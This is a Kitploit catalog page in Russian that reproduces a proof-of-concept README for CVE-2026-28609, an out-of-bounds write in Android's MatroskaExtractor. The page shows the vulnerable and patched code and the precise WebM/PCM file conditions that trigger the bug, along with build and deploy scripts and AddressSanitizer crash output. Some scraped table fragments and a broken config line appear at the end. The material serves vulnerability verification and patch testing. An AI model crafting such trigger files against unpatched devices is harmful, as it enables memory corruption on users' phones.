Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-28609-matroska-pcm-oob — Эксплойт-доказательство концепции и инструментированный стенд для воспроизведения CVE-2026-28609 — записи за пределами границ в MatroskaExtractor Android, достижимой через специально сформированный файл WebM с аудиодорожкой PCM с прямым порядком байтов. | Kitploit
Инструменты/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Безопасность AndroidКриминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияФаззингМобильная безопасностьЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

Эксплойт-доказательство концепции и инструментированный стенд для воспроизведения CVE-2026-28609 — записи за пределами границ в MatroskaExtractor Android, достижимой через специально сформированный файл WebM с аудиодорожкой PCM с прямым порядком байтов.

Репозиторий
41 день назадЕщё не проверено

CVE-2026-28609 — запись за границами буфера в PCM-обработчике Matroska

Доказательство концепции, инструментированный стенд для воспроизведения и техническое описание CVE-2026-28609 — записи за границами буфера в MatroskaExtractor в Android, достижимой через специально сформированный файл WebM с аудиодорожкой PCM в формате big-endian.

Краткий обзор

  • CVE ID: CVE-2026-28609
  • Производитель: Google / Android
  • Компонент: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • Проблема: запись за границами буфера из-за некорректного приведения типов
  • CWE: CWE-787 / CWE-704
  • Затронуто: Android 14, 15, 16, 16 QPR2
  • Уровень опасности: высокий
  • Воздействие: потенциальное удалённое выполнение кода
  • Проблема AOSP: A-485377744
  • Патч: устранено в сентябрьском обновлении безопасности Android 2026 года

1. Резюме

MatroskaSource::read() в MatroskaExtractor для Android содержит цикл байтового обмена для PCM big-endian, который приводит указатель на данные кадра к типу uint16_t * до прибавления frame->range_offset() — смещения в байтах. Поскольку арифметика указателей в C для типа uint16_t * масштабирует смещение на sizeof(uint16_t) = 2, результирующий указатель оказывается на 2 * range_offset байт от начала буфера, а не на range_offset байт.

Когда range_offset > 0, цикл читает и записывает один или несколько байт за концом MediaBuffer кадра. На устройстве без ASan чтение за границей проходит незаметно, а запись за границей повреждает байт, непосредственно следующий за буфером.

Уязвимая строка:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

Исправление в upstream приводит указатель к uint8_t * до применения смещения:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. Что демонстрирует этот репозиторий

Рабочий воспроизводимый триггер для CVE-2026-28609, проверенный под AddressSanitizer на реальном устройстве с Android 14. Репозиторий включает:

  1. Генератор на Python, который создаёт файл WebM, приводящий экстрактор в уязвимую ветку с ненулевым range_offset.
  2. Стенд с C-ABI, который загружает плагин экстрактора через dlopen, вызывает GETEXTRACTORDEF и читает кадры из файла.
  3. Набор скриптов сборки, которые компилируют инструментированную ASan копию уязвимого экстрактора из AOSP и линкуют её с библиотеками медиафреймворка устройства.
  4. Конфигурацию сборки с автоматическим обнаружением каталогов заголовков, так что сборка адаптируется к любому дереву AOSP.

Результат на уязвимом устройстве:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. Механика срабатывания

Уязвимая ветка требует одновременного выполнения всех следующих условий:

УсловиеИсточник

Первые три выполняются объявлением дорожки с кодеком A_PCM/INT/BIG и глубиной 16 бит. Четвёртое — самое интересное.

range_offset устанавливается в ненулевое значение только в MatroskaSource::setWebmBlockCryptoInfo(), которая вызывается из readBlock() при условии:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

Следовательно, файл-триггер должен удовлетворять условиям:

  • mIsWebm — элемент EBML DocType должен быть "webm", а не "matroska".
  • mEncrypted — дорожка должна объявлять ContentEncodings с ContentEncodingType = 1 (Encryption) и ContentEncKeyID.
  • Незашифрованные кадры — первый байт каждого кадра должен быть сигнальным байтом, младший бит которого (0x1) равен 0, что указывает на то, что кадр не зашифрован, но прошёл контентное кодирование. Это приводит к ветке else в setWebmBlockCryptoInfo, которая вызывает set_range(1, len - 1).

После отсечения range_offset = 1 для каждого кадра. Уязвимая ветка затем вычисляет (uint16_t *)data + 1, что сдвигает указатель на 2 байта, и цикл читает/записывает байты [2, 2 + range_length) — на один байт за концом 65-байтового выделения (64-байтовый кадр + 1-байтовый сигнал).

Байтовая раскладка кадра-триггера

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

Сигнальный байт 0x00 отсекается через set_range(1, 64), оставляя 64-байтовый кадр внутри 65-байтового выделения. Уязвимая арифметика указателей затем записывает по байтовому смещению со 2 по 65.


4. Структура репозитория

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

Внешние зависимости, клонируемые пользователем перед сборкой:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. Предварительные требования

  • Хост: Linux или WSL2 с bash, python3, make
  • NDK: Android NDK r27+, задаётся через $ANDROID_NDK_HOME
  • Устройство: Android 14, 15, 16 или 16-QPR2 с уровнем безопасности до сентября 2026
  • ADB: adb в PATH (Linux или adb.exe из WSL)
  • Диск: ~1,5 ГБ для клонов AOSP

6. Сборка

6.1 Клонирование внешних зависимостей

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

Если ваше дерево AOSP использует модульную раскладку экстракторов (av/media/module/extractors/mkv/), дополнительных изменений не требуется. Если используется старая раскладка (av/media/libstagefright/matroska/), см. скрипты сборки для переменной MKV.

6.2 Извлечение библиотек с устройства

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 Настройка

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

Установите ANDROID_API в соответствии с целевым устройством (например, 34 для Android 14).

6.4 Сборка и запуск

root@kitploit:~
./scripts/run.sh

Скрипт run.sh выполняет четыре шага по порядку:

  1. build_foundation.sh — компилирует 28 исходных файлов из av/media/module/foundation/ и av/media/module/metadatautils/ в plugin-asan/libstagefright_foundation_asan.a.
  2. build_plugin.sh — компилирует MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc и линкует их с архивом в libmkvextractor_asan.so.
  3. build_harness.sh — компилирует harness_c_abi с -shared-libsan.
  4. Копирует плагин, стенд, runtime ASan и poc.mkv в /data/local/tmp и запускает стенд.

Скрипты сборки автоматически обнаруживают отсутствующие корни заголовков. Когда компилятор сообщает fatal error: 'X' file not found, скрипт ищет в деревьях зависимостей, находит родительский каталог X и добавляет его в include_dirs.conf. Именно поэтому include_dirs.conf растёт во время первой сборки. Как только все заголовки найдены, файл стабилизируется, и последующие сборки становятся детерминированными.


7. Ожидаемый вывод

На уязвимом устройстве стенд выдаёт:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

Три числа подтверждают срабатывание:

  • WRITE of size 2 (или READ, когда ASan перехватывает читающую половину data[i] = ntohs(data[i]) первой)
  • 65-byte region — выделение кадра составляет 64 байта данных плюс 1-байтовый сигнал шифрования
  • 0 bytes after — обращение попадает на первый байт за выделением

8. Чего этот PoC не делает

  • Никакого RCE. Триггер заканчивается отчётом ASan. Он демонстрирует примитив записи, но не превращает его в выполнение кода.
  • Никакого heap grooming. 1-байтовое переполнение ограничено размером сигнала шифрования. Для больших переполнений потребовался бы разделённый путь шифрования в setWebmBlockCryptoInfo (сигнальный байт 0x03), который этот генератор не задействует.
  • Никакой персистентности. На целевом устройстве не выполняется никакой код, кроме самого процесса стенда, который запускается и завершается.
  • Никакой модификации системы. Ничего за пределами /data/local/tmp не затрагивается. Плагин загружается только процессом стенда.

9. Проверка

Генератор включает верификатор. Запустите его перед копированием:

root@kitploit:~
python3 exploit/generator.py poc.mkv

Ожидается:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

Проверяется каждое обязательное поле: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo и ContentEncKeyID. Если какое-либо поле неверно, генератор завершается с FAIL и выводит конкретное несоответствие.


10. Хронология

ДатаСобытие
2026-03-02CVE зарезервирован Google
2026-09-08Публичное раскрытие в Android Security Bulletin
2026-09-09Исправление влито в LineageOS lineage-20.0 (изменение 497992)

11. Ссылки

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. Отказ от ответственности

Этот репозиторий публикуется исключительно для защитных исследований безопасности и проверки уязвимостей. Он предназначен для:

  • Исследователей безопасности, проверяющих CVE на собственных тестовых устройствах
  • Сопровождающих платформу Android, подтверждающих применение патча
  • Специалистов по реагированию на инциденты, воспроизводящих триггер на изолированном оборудовании для определения подверженности

Не используйте этот код на устройствах, которыми вы не владеете или на которые у вас нет явного письменного разрешения на тестирование. Запуск стенда на устройстве, которое вам не принадлежит, или использование генератора для создания файлов-триггеров для распространения может нарушать законы о неправомерном использовании компьютеров в вашей юрисдикции и Политику допустимого использования GitHub.

Автор не одобряет использование этого исследования в злонамеренных целях. Файл-триггер, создаваемый генератором, предназначен для падения конкретной функции под AddressSanitizer; он не содержит исполняемой полезной нагрузки, не модифицирует систему и не сохраняется после завершения процесса стенда.

Никаких гарантий не предоставляется. Код поставляется как есть. Автор не несёт ответственности за ущерб, вызванный неправильным использованием или запуском стенда на производственном оборудовании.

Если вы являетесь производителем и считаете, что этот репозиторий содержит материал, который следует обрабатывать в рамках скоординированного раскрытия, откройте issue, и автор ответит в течение 72 часов.


13. Лицензия

Этот проект выпущен под лицензией Apache-2.0. Полный текст см. в LICENSE.

Copyright © 2026 — участники PoC для CVE-2026-28609.

scripts/include_dirs.conf.sample

Переименуйте это в include_dirs.conf после клонирования. Это начальный набор. Скрипты сборки расширяют его во время первого запуска.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

Переименуйте в build.conf после клонирования.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
Скачать инструмент
Дорожка — PCM
mType == PCM
Big-endianAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16-битные сэмплыAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
У кадра ненулевой range_offsetУстанавливается через set_range(offset, ...)
2026-09Этот PoC разработан и проверен на реальном устройстве